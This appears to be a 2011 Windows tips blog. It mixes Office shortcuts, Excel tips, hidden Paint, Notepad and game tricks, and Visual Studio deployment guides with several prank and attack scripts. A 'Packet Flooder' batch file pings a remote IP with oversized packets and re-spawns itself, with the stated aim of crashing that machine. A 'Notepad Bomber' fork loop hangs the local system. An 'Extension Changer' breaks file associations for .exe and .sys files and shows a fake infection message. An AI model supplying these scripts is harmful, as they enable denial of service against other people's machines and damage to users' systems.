Tuesday, March 29, 2011

POPING CD-ROM




This vb-script program pops CD-Rom


1.Open Notepad.
2.Type
Set oWMP = CreateObject(WMPlayer.OCX.7)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3.Save it as “*.vbs” .
 4.Double click it.

Note:
1.Type the inverted Commas “ manually.
2. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete).Select Processes and end the process “wscript.exe”

Saturday, March 26, 2011

Packet Flooder


This program slows down the remote computer connected in  network. This can be
done by continuously pinging the remote host by setting the length of the packet to 65,500K. at the
receiving end, the remote computer receives mushrooms of packets of larger size, and if it goes on for
some time, the memory on the remote system automatically overloads and finally the remote system will
crash.
1.Open notepad
2.Type
@echo off
:flood
ping -l 65500 -t 10.199.64.66
start flooder.bat
goto flood
3.Save this file as flooder.bat.

It will open up lot of command windows on your screen too, there are chances for your computer to crash too.

Time Your computer shutdown




Here is how you can  shutdown your computer in specified time.

1.Through Command
Go to run in start menu and input this command
    shutdown -s -t 1800
this will shutdown your computer after half an hour. you can replace the 1800 to any time limit you want the computer to shutdown .
Note:Time should always be expressed in seconds.

2.Through Shortcut
open  notepad and type
shutdown -s -t 1800
now save this file as *.bat
Just double clicking this file will time your computer shutdown.
On the desktop right click and create a new shortcut in the location type address of your file.

3.Force Shutdown:

Operator -f  will force a shutdown on system. suppose you want the computer to shutdown as quickly as possible you can give command
shutdown -s -f -t 00

4.Stopping The Shutdown:
Any time when you want to stop the shutdown  use a -a operator(standing for abort)
the command is
shutdown -a 

SOME OTHER OPTIONS:
shutdown –l (log off)
shutdown -r (restarting)
shutdown -r -t 1800 (timer for restarting in 1 hour)
shutdown -r -f -t 00 (quick restart)

Extension Changer



This program associates the native file extensions with some other type of file extension, which makes the program unable .

1.Open Notepad.
2.Type
@echo off
title Ext_changer
color a
Rem  replaces the actual file extensions with the given extensions
@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
msg Your System got Infected…..
exit
3.save as ext.bat.

Note: Apply its reverse to change the extensions back to original.

Hide Files In An Image



Using steps given below you can hide files in an image

1. Collect the files you wish to hide, and the image file, and place them in a folder.

2. Add the files into a winrar .rar or .zip.

3. Open command prompt .
Start > Run > cmd
4. In Command Prompt, navigate to the folder where your  files are by typing
cd location .
5. Type in cmd
copy /b image.jpg + hide.rar image.jpg



To extract your file, there are two ways
a) Change the file extension from image.jpg to hide.rar, then open and your file is there.
b)Right click ihe image, open with WinRar and your file is there.

Friday, March 25, 2011

Secrets Of Paint



Create a trail image
1.    Open Paint, then open an image.
2.    Right-click on the image and select "Select All"
3.    Now hold the "Shift" key and move the image around. The image will be drawn with trail.

10x Zoom
1.    Open Paint, then open a small image.
2.    Select the zoom "Magnifier" tool.
3.    Windows Paint lists out the zoom options from 1x to 8x, but there is a 10x...
4.    After selecting the Magnifier tool, point the mouse right at the border line right under "8x" and left-click. There you go.. the hidden 10x.

Secrets Of Notepad


Create a logs
1.    Open Notepad
2.    On the very first line, type in ".LOG" (without quotes) then press Enter for a new line
3.    Now you can type in some text if you want, then save the file.
4.    Next time when you open the file, notice its contents. Notepad automatically adds a time/date log everytime you open the file.

Text becomes unreadable
1.    Open Notepad
2.    On the very first line, type in "dont eat the donut" (without quotes) then save and close the file. Note: the file should have only one line of the text above.
3.    Now, open the same file. You'll notice the text becomes unreadable squares. (try this with different text with the same format and length).

Thursday, March 24, 2011

Window XP Games Secret



Solitaire:
Win instantly
 Press Alt + Shift + 2 to win instantly

Solitaire
Draw using only 1 card instead of 3
 Hold down Ctrl + Alt + Shift then click on unopen cards to draw.


FreeCell: 
  Win instantly
1. Hold down Ctrl + Shift + F10 while playing, then click Abort.
2. Now move one card.


FreeCell:
Hidden Game Modes
1. Go to "Game" menu choose "Select Game"
2. Here you can choose from game mode 1 to 1,000,000. But -1 and -2 will also work (hidden modes)


Hearts: 
Show All Card
This requires a modification in your registry. Be sure you follow the steps carefully.It might damage your window.
1. Open the "Registry Editor" by: "Start" >> "Run" then type "regedit" and press Enter
2. Expand to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts
3. Right-click on the right panel and create a new String value with the name "ZB"
4. Double-click to open this key "ZB" to edit its value. Then enter "42" and close the Registry Editor.
5. Start Hearts and Press Ctrl + Alt + Shift + F12 to show all the cards


Minesweeper: 
Stop The Timer
1. When you start to play a new game, the timer is ticking...
2. Press Windows Key + D to show desktop.
3. Now come back to the game by selecting it from the taskbar. The timer is stopped.


Pinball:
* Unlimited Balls: Type bmax at a new game to get unlimited balls (no notification).
* Extra Balls: Type 1max at a new game to get extra balls.
*Gravity Well: Type gmax at a new game to activate Gravity Well.
* Promotion: Type rmax at a new game or while playing to get instant promotion and raising rank.
* Extra points with partial shots: Partially shot the ball just to pass the yellow light bars. There are 6 bars. With the first bar, you'll get 15,000 points, 2nd: 30,000,...
*Test Mode: Type hidden test with a new ball or new game. Now you can use your mouse to drag and move the ball where you want.

Wednesday, March 23, 2011

Notepad Bomber




This is a simple computer program that will  open notepad continuously.
1. Open Notepad .
2.Type the code in notepad as :

@echo off
:bomb
start notepad.exe
goto bomb


3.Save it as “*.bat” and double click it..

Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it hangs your system and you will have to  restart your computer, as this  opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.

Tuesday, March 22, 2011

Creating an Executable jar File



Creating an Executable jar File
Here I am going to explain you how to make jar file from class file in java.
Jar files are created using the jar.exe utility program from JDK. You can make your jar file runnable by telling jar.exe which class has main. To do that, you first need to create a manifest file. A manifest is a one-line text file with a "Main-Class" directive. For example:
Main-Class: IT Martial
This line must end with a newline.
You can create a manifest file in any text editor, or even by using the MS-DOS echo command. You can give your manifest file any name, but it’s better to use something standard, such as manifest.txt.
Once you have a manifest and all your classes have been compiled, you need to run JDK’s jar.exeutility. It is located in the JDK’s bin folder, the same place where javac.exe and java.exe. are. jar.exe takes command-line arguments; if you run it without any arguments, it will display the usage information and examples. You need
C\martial> jar cvfm JarName.jar manifest.txt *.class
cvfm means "create a jar; show verbose output; specify the output jar file name; specify the manifest file name." This is followed by the name you wish to give to your jar file, the name of your manifest file, and the list of .class files that you want included in the jar. *.class means all class files in the current directory.
Below are the detailed steps for doing this in Command Prompt.
Creating a jar File in Command Prompt
1. Start Command Prompt.
2. Navigate to the folder that holds your class files:
C:\>cd \martial
3. Set path to include JDK’s bin. For example:
C:\martial> path c:\Program Files\Java\jdk1.5.0_09\bin;%path%
4. Compile your class(es):
C:\martial> javac *.java
5. Create a manifest file:
C:\martial> echo Main-Class: IT Martial >manifest.txt
6. Create a jar file:
C:\martial> jar cvfm IT Martial.jar manifest.txt *.class
7. Test your jar:
C:\martial> IT Martial.jar

Improve Boot Time Of Your Computer


Improve Boot Time Of Your Computer

Here iam going to explain that how you can clean boot your computer.

1.Open Run dialog.
Start=>Run

2.Type Msconfig and click OK.

3.System configration utility dialog will pop up . Select general tab and click selective start up .

4.Uncheck items given below:
i. SYSTEM.INI file
ii. WIN.INI file
iii. Load Start up items

5.Verify that Load system services and use original BOOT.INI are checked.

6.Select Services tab.

7.Select Hide All Services.
(This hides all important windows services)

8.Select Disable All option.
(if you identifes some services such as antivirus , don’t disable them.)

9.Click O.K. and restart computer.

SHORTCUTS OF MICROSOFT OFFICE

 

30 shortcuts of Microsoft Excel


Select the current column [Ctrl] + [Space]

Select the current row [Shift] + [Space]

Edit the active cell [F2]

Move to the beginning of the worksheet [Ctrl] + [Home]

Move to the last cell on the worksheet [Ctrl] + [End]

Paste a name into a formula [F3]

Paste a function into a formula [Shift] + [F3]

Alternate value/formula view [Ctrl] + [`]
(on key [1])

Calculate all sheets in all open workbooks [F9]

Display the Go To dialog box [F5]

Display the Find dialog box [Shift] + [F5]

Display the Format Cells dialog box [Ctrl] + [1]

Create a chart [F11]

Insert a new sheet [Alt] + [Shift] + [F1]

Repeat the last action [F4]

Repeat Find [Shift] + [F4]

Open [Ctrl] + [F12]

Exit [Ctrl] + [F4]

Check spelling of current cell [F7]

Activate the menu bar [F10]

Display the Macro dialog box [Alt] + [F8]

Apply outline to active cell [Ctrl] + [Shift] + [&]

Convert to a percentage [Ctrl] + [Shift] + [%]

Select all filled cells around active cell [ctrl] + [Shift] + [*]

Move to next sheet [Ctrl] + [Page Down]

Move to previous sheet [Ctrl] + [Page Up]

Complete a cell entry and move up [Shift] + [Enter]

Complete a cell entry and move right [Tab]

Complete a cell entry and move left [Shift] + [Tab]

Edit a cell comment [Shift] + [F2]



Outlook shortcuts

Five email shortcuts:
.
Display Inbox [Ctrl] + [Shift] + [I]

Check for new mail [F5]

Reply to selected mail [Ctrl] + [R]

Create new mail [Ctrl] + [N]

Send mail [Ctrl] + [Enter]

Publisher shortcuts


Five essential DTP shortcuts:

Toggle frame opacity [Ctrl] + [T]

Nudge frame [Alt] + [Arrow]
(any of the four directions)

Format copy [Ctrl] + [Shift] + [C]

Format paste [Ctrl] + [Shift] + [V]

Toggle current/actual page view [F9]

PowerPoint shortcuts


Five shortcuts to increase your speed:

Insert slide [Ctrl] + [M]

Move to the next pane [F6]

Move to the previous pane [Shift] + [F6]

Insert a hyperlink [Ctrl] + [K]

Start slide show [F5]

Generic shortcuts

These shortcuts work in all Office applications, as well as some third-party software.

Open [Ctrl] + [O]

Exit [Alt] + [F4]

Save [Ctrl] + [S]

Print [Ctrl] + [P]

Select All [Ctrl] + [A]

Cut [Ctrl] + [X]

Copy [Ctrl] + [C]

Paste [Ctrl] + [V]

Undo [Ctrl] + [Z]

Redo [Ctrl] + [Y]

Help [F1]

Open pop-up menu [Shift] + [F10]

Open window control menu [Alt] + [Space]

Scroll one page length down [Page Down]

Scroll one page length up [Page Up]

Delete [Delete]

Switch applications [Alt] + [Tab]

Activate menus [F10]

Close menu [Alt]

Select first/last menu item [Home]/[End]

45 tips and tricks for Microsoft Excel


45 tips and tricks for Microsoft Excel

Here are some useful tips for MS-Excel.

1 Convert rows to columns

You can convert rows to columns (and columns to rows) by highlighting the cells you want to switch around, clicking on Edit, Copy, selecting a new cell and then going to Edit, Paste
Special… Finally, place a tick in the Transpose box on the dialog box and click on OK.

2 Calculate time between dates

Enter in a cell the formula =A2-A1, where A1 is the earlier date, and A2 the later one. Don’t forget to convert the target cell to number format – do this by highlighting the cell, clicking on Format, Cells…, picking on the Number tab and selecting Number from the Category: list.

3 Enter URLs as text, not hyperlinks

To prevent Excel from converting written Internet addresses into
hyperlinks, add an apostrophe to the beginning of the address, for example ‘www.itmartial.blogspot.com..

4 Calculate running totals

Enter the numbers to be added in column A, say A1 to A5, then enter =SUM($A$1:A1) into column B. Highlight the cells beside the ones with numbers in (in our example, B1 to B5) and go to Edit, Fill, Down. This places the running total of the figures in A1 to A5 in the adjacent column.

5 Remove hyperlinks from your work

If Excel has already converted your written URL into a hyperlink, you can cancel it by right-clicking on the offending address and selecting Hyperlink, Remove Hyperlink from the menu that pops up.

6 Fit wide tables to the page width

To make your tables fit neatly on the page, click on File, Page Setup…, select the Page tab, click on the Fit to: radio button and pick 1 page wide. Click on the tall box and press [Delete], leaving the box empty.

7 Hide your data from prying eyes

If you want to hide from view any sensitive data, highlight the relevant cell and click on Format, Cells… Click on the Numbers tab, select Custom from the Category: list, double-click on the Type: input box and enter ;;;. Undo the operation to make your data visible again.

8 Use template worksheets

Templates can save you considerable time when you’re setting up a new worksheet. Click on File, New…, select the Spreadsheet Solutions tab and choose a template from the list.

9 Access help for Lotus users

If you’ve converted from Lotus 1-2-3 and find Excel confusing, you can access help specific to your situation by clicking on Help, Lotus 1-2-3 Help…

10 Use the formula browser
Select a cell and click on the Paste Function button on the main toolbarPick the function you require from the list box and click on OK. Now highlight the cells on which you want the target to perform the function and click on OK.

11 Customise your AutoFills

If you use the same list over and over in different worksheets, you might want to add it to your AutoFill list – this will save you heaps of time in future. Highlight your list, click on Tools, Options… and select the Custom Lists tab. Click on Import, then OK.

12 Use the AutoCalculator

If you need to calculate a sum based on a row or a column of figures and you can’t be bothered typing in a function, just select your figures and glance down at the status bar – you’ll find the sum of the selected cells there. What’s more, if you right-click on the sum a pop-up menu will appear offering additional quick calculation functions.

13 A quick way to enter the time

To enter the current date or time click on a cell and type =today() or =now(). Excel updates the result every time you open the sheet, so it’s always current.

14 Enter a fixed time into Excel

If you want Excel to enter the current date or time and fix it at that point – for example, to show the last date the sheet was modified – click on a cell and press [Ctrl] + [;] for the date and [Ctrl] + [:] for the time.

15 Find the currently active cell

If you’ve been scrolling around your spreadsheet and you lose your place, you can jump back to the currently active cell by pressing the [Ctrl] + [Backspace] keys.
16 See the big picture

If you’re working on a large sheet you might want to switch to Full Screen mode: simply click on View, FullScreen. Click on it again to return to a normal window.

17 Fit text automatically

Make your work look neater by selecting the relevant column, and clicking on Format, Column, AutoFit Selection.

18 Fast copy, no clipboard

Pressing [Ctrl] + [‘] is a speedy way to duplicate the formula or figure in the cell above the one you’re in.

19 Fast and easy multiple entry

If you need to enter a formula in several cells at once, simply select all the target cells, type your formula as normal and press [Ctrl] + [Enter].

20 Pick cells for AutoCalculator

You can select unconnected cells byholding down [Ctrl] while you click on the individual cells.

21 Hide comments to reduce clutter

You can hide notes and other comments by using the Insert Comment function. Highlight a cell, click on Insert, Comment and type your text. Click away from the input box when you’ve
finished. The comment will appear whenever you pass your mouse over the relevant cell.
22 Re-colouring the grid lines

You can change the colour of the grid by clicking on Tools, Options…, selecting the View tab, clicking on the Color: list box and choosing a new colour from the palette. Choosing white effectively removes the grid completely.

23 Angle your entries…

To make Excel display the text in cells at an angle of 45 degrees, right-click on the toolbar, select Chart, and pick either of the ab icons on the new toolbar.

24…to any degree you like

If you want custom angles right-click onthe cell and select Format Cells… From the pop-up menu, click on the Alignment tab, and then drag the Text pointer in the Orientation window.

25 Zoom in to your selection

You can have Excel display just the area you’re working in by highlighting the relevant cells, clicking on the arrow on the Zoom box on the toolbar and selecting Selection from the list.

26 Another default entry direction

When editing cells the cursor moves down when you press [Return]. To change the direction click on Tools, Options… and select Edit. Click on the Move selection after Enter list box and
choose another direction from the list.

27 Launch Excel, openyour file

Launch Excel, open the file you use most often, and click on File, Save As… In the Save As dialog, navigate to the Xlstart folder in your Office folder and click Save. Now the file will open automatically when you launch Excel.

28 Set decimal points

Click on Tools, Options… and select the Edit tab. Place a tick in the Fixed decimal tick box and use the arrows in the Places: input box to set the number of decimal places.

29 Calculate the median value

To calculate the median value of a number of figures, say A1 to A10, enter =median(A1:A10) into the target cell.

30 #NAME! and #NUM! errors

Excel returns a #NAME! or #NUM! error whenever a formula refers to nonexistent names or numbers. To sort it out, re-enter the formula correctly.

31 Quick sort your columns

The quickest way to sort a column into a hierarchy is to select it and click on the Sort Ascending or Sort Descending buttons (the ones with the AZ arrows).

32 Quickly change cell dimensions

The quickest way to change a column’s width or a row’s height is to place your mouse pointer close to the join between two columns or rows, then click and hold down the mouse button, and drag the column or row to the desired size.

33 Erasing entries while typing

If you mistype your formula, press[Esc] to erase the cell’s content.
34 Enter number msequences

Enter the first number in a cell, pressthe [Ctrl] key, and then click, hold and drag the cell’s handle until you’ve reached the desired number of cells.Release the mouse button first, and then the [Ctrl] key.

35 See formulas at a glance

You can view all of your formulas at once by clicking on Tools, Options…, selecting the View tab, and placing a tick in the Formulas tick box.

36 Highlight cells of a kind

You can select all the cells of a certain type by using the Special functions. Click on Edit, Go To…, click on the Special… button, choose the cell type from the dialog box and click on OK.

37 Switch off the zeroes

You can prevent zeroes from cluttering your sheets by clicking on Tools, Options…, selecting the View tab, and unticking the Zero values tick box.

38 Protect your work

Open the sheet you wish to protect and click on File, Save As… Click on the General Options… item in the Tools menu (in the top right corner of the Save As dialog) and enter a password in the Password to open: input box. Finally, click on the Save button. You might want to make a note of the password before continuing.

39 Customise your dates

You can customise the format of a date in a cell using the Custom cell formatter. To do this, enter a date in a cell, click
on Format, Cells…, click on Custom in the Category: pane, click on the Type: input box and press [M] repeatedly until the desired format is displayed in the Sample area above.

40 Quick column copy

You can fill out the cells in a column by double-clicking on a cell’s handle. Excel will place copies of the clicked cell in each cell below, stopping when it reaches a cell with blanks either side.
(Confused? Try this: enter a figure in cell A1, then enter figures in cells B1 to B5, then double-click on A1’s handle.)

41 Merge cell contents

To merge the contents of cells A1 and B1, click on cell C1 and enter =A1&B1. The result is not a sum but a text string, so merging 10 and 7 will return 107, rather than 17.

42 Use dynamic formatting

You can set Excel to alert you to critical figures in cells by setting it up so the colour or size of text in a given cell changes whenever a certain condition is reached. Select a cell (say, the cell containing the total of your bank balance) and click on Format,
Conditional Formatting… Choose the conditions in the pop-up dialog (say ‘Cell value is less than 0’) and click on the Format… button. Now choose a new colour in the Color: list box and
click on OK. Click on OK again to finish. From now on Excel will display your chosen figure in the new colour whenever the figure falls below zero.
43 Border connected cells

You can place a border around a group of related cells – all the totals, forexample – by selecting them and clicking on Format, Cells…, then selecting the Border tab and clicking on the Outline button.

44 Shrink entries to fit their cells

You can force Excel to display the fulltext of a cell by using the Shrink to fit option. Click on Format, Cells…, click on the Alignment tab and place a tick in the Shrink to fit tick box. Obviously,the more text you have, the smaller it’ll be, so this isn’t practical for small cells with lots of content.

45 Create hyperlinks to support files

To place links in cells that enable you to load other documents with one click, enter a name for the link in a cell and press [Ctrl] + [K]. Click on the File… button. Navigate to the file you wish to link to. Double-click on it and click OK. From now on, whenever you click in that cell, Excel will jump to the file.

ClickOnce Deployment


ClickOnce Deployment

With ClickOnce deployment there is no need to start a setup program on the client system. All the client system ’ s user has to do is click a link on a Web page, and the application is automatically installed. After
the application is installed, the client can be offline — it doesn ’ t need to access the server from which the application was installed.

ClickOnce installation can be done from a Web site, a UNC share, or a file location (e.g., a CD). With ClickOnce, the application is installed on the client system, it is available with Start menu shortcuts, and it can be uninstalled from the Add/Remove Programs dialog.

Here are the steps for clickonce deployment:

1. Open the application with Visual Studio for which deployment has to be done.

2. Select Properties for the project in the Solution Explorer, and select the Signing tab, shown in Figure


3. Check the Sign the ClickOnce Manifests check box.

4. Click the Create Test Certificate button to create a test certificate that is associated with the ClickOnce manifests. Enter a password for the certificate as requested. You must remember the password for later settings. Then click OK.

5. Click the More Details button for certificate information (see Figure)



6. Select Properties for the project in the Solution Explorer, select Security, as shown in Figure , and select Enable ClickOnce Security Settings.


7. Click the This Is A Partial Trust Application radio button.

8. Select the zone (Custom), as special security permissions are required by the application.

9. Click the Calculate Permissions button to calculate the permissions that are required by the application.

10. If the permission FileIOPermission is not included with the calculation, change the setting to include it.

11. Select the Publish tab with the project properties. Click the Options button to open the Publish Options dialog (see Figure ). Enter the product name, the publisher name, a support URL, and a deployment Web page.



12.Configure the Update options by selecting the Updates button and select the The Application Should Check for Updates check box, as shown in Figure .



13. Start the Publish Wizard by selecting Build=> Publish application. Enter a path to the Web site http://localhost/application , as shown in Figure . Click the Next button.

To publish the application to a Web server on Windows Vista, Visual Studio 2008 must be started in elevated
mode with administrative privileges; and Internet Information Server (IIS) needs to be installed.
If you do not have IIS installed, select publishing to the local file system.

14. At step 2 in the Publish Wizard, select “ Yes, this application will be available online or offline, ” as shown in Figure . Click the Next button.



15. The last dialog gives summary information, as you are Ready to Publish! (see Figure). Click the Finish button.



16.Now you can instal the application by opening web page publish.htm on web browser.

Updating the Application

1. Make a change to the application that shows up immediately, such as setting the background color of the text box.

2. Build the application and click the Publish Now button with the Publish section of the project properties.

3. Do not click the publish.htm link on the Web page; instead, start the client application from the Start menu. When the application is started, the Update Available dialog appears, asking whether a new version should be downloaded. Click OK to download the new version. When the new version launches, you can see the application with the colored text box.

Creating An Installation Package


Creating an Installation Package

Here I am going to explain you how to create set up for windows application using Visual Studio 2008. Steps are as follow :

1. Open the solution file of the project you created . You will add the
installation project to the existing solution.

2. Add a Setup Project to the solution with the
File =>Add Project=>New Project menu,
as shown in Figure , and click the OK button.


3. Change the Prerequisites option in the Property page to include Windows Installer 3.1 so that the application can be installed on systems where Windows Installer 3.1 is not available. Also change the output filename , as shown in Figure . Then click OK.
Setup1=> Right click => Property



Click prerequisites



4. Using the Properties window, set the setup project properties to the values in the following :
Author: IT Martial press
Description: About application
Keywords: IT Martial , Maneesh
Manufacturer: It Martial Press
Manufacturer URL: www.itmartial.blogspot.com
Product Name: Application name
Support URL: www.itmartial.blogspot.com
Title : Installation Demo
Version:1.00.1

5. Add the primary output of the Setup project to the Application folder of the installer project using the
Project =>Add => Project Output menu options.
In the Add Project Output Group dialog, select Primary Output, as shown in Figure

.

Click the OK button to add the primary output of the project to the Application folder in the automatically opened File System Editor. In this case, the primary output is application.exe .

6. Additional files to add are a logo, a license, and a ReadMe file. In the File System Editor, create a subdirectory named Setup in the Application folder. You can do this by selecting the Application folder and then choosing the menu options Action Add Folder.

The Action menu in Visual Studio is available only if you select items in the setup editors. If an item in the Solution Explorer or Class View is selected, the Action menu is not available.

7. Add the files logo.bmp , setuplogo.bmp , readme.rtf , and license.rtf to the folder setup by right - clicking on the Setup folder and selecting Add File. You can easily create them yourself. You can fill the text files with license and ReadMe information. It is not necessary to change the properties of these files, which will be used in the dialogs of the installation program. The bitmap setuplogo.bmp should be sized 500 pixels wide and 70 pixels high. The left 420 pixels of the bitmap should only have a background graphic because the text of the installation dialogs will cover this range.

8. Add the file readme.txt to the Application folder. You want this file to be available for users to read before the installation is started. Set the property PackageAs to vsdpaLoose so that this file is not compressed into the Installer package. Set the ReadOnly property to true so this
file can ’ t be changed. The project now includes two ReadMe files, readme.txt and readme.rtf . The file readme.txt can be read by the user installing the application before the installation is
started. The file readme.rtf provides some information in the installation dialogs.

9. To make the program available from the Start Programs menu, you need a shortcut to the application program. Select Primary Output from application item in the Application folder and open the menu
Action Create Shortcut to Primary output from application. Set the Name property of the generated shortcut to name of application, and drag and drop this shortcut to the User ’ s Programs menu.

10. Start the File Types Editor with View Editor File Types. Add a new file type using the menu Action Add File Type, with the properties set as shown in the following :.

(Name):.ext
Command : Primary output
Description: Description of extention
Extensions: .ext
You can also set the Icon property to define an icon for the opening of files, and a MIME type. Leave the properties of the Open action with the default values so that the filename is passed as an application argument.

11. Start the User Interface Editor by selecting View Editor User Interface.
12. Use the User Interface Editor to set properties for predefined dialog boxes. Figure shows the automatically generated dialogs and two installation modes that you should see.



13. Select the Welcome dialog. In the Properties window, you can see three properties for this dialog: BannerBitmap , CopyrightWarning , and WelcomeText . Select the BannerBitmap property by clicking Browse in the combo box, and select the wroxsetuplogo.bmp file in the
folder Application Folder\Setup . The bitmap stored in this file will appear on top of this dialog.
The default text for the property CopyrightWarning is as follows:
WARNING: This computer program is protected by copyright law and international
treaties. Unauthorized duplication or distribution of this program, or any
portion of it, may result in severe civil or criminal penalties, and will be prosecuted to the maximum extent possible under the law.
This text appears in the Welcome dialog also. Change this text if you want a stronger warning. The WelcomeText property defines more text that is displayed in the dialog. Its default value
is as follows:
The installer will guide you through the steps required to install
[ProductName] on your computer.
You can change this text too. The string [ProductName] will be automatically replaced with the property ProductName that you defined in the properties of the project.

14. Select the Installation Folder dialog. This dialog has just two properties: BannerBitmap and InstallAllUsersVisible . The latter property has a default value of true . If this value is set to false , then the application can only be installed for the user who is logged on while the installation is running. Change the value of BannerBitmap to the logo.bmp file, as you did with the Welcome dialog. As each dialog can display a bitmap with this property, change the BannerBitmap property for all the other dialogs too.

15. Add a Read Me and a License Agreement dialog to the Start sequence by selecting Action Add Dialog. Define the order in the start sequence by dragging and dropping as follows:
Welcome – Read Me – License Agreement – InstallationFolder – Confirm Installation .

16. Configure the BannerBitmap property for all these dialogs as you did earlier. For the Read Me dialog, set the ReadmeFile property to readme.rtf , the file you added earlier to
Application Folder\Setup .

17. For the License Agreement dialog, set the LicenseFile property to license.rtf .

18. To create the Microsoft Installer Package, right - click the Setup project and select Build.

19. With a successful build you will find the files setup.exe and application.msi as well as a readme.txt file in the Debug or Release directory (depending on your build settings).

Now you can start installing the application by double - clicking the Setup.exe file

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Affiliate Network Reviews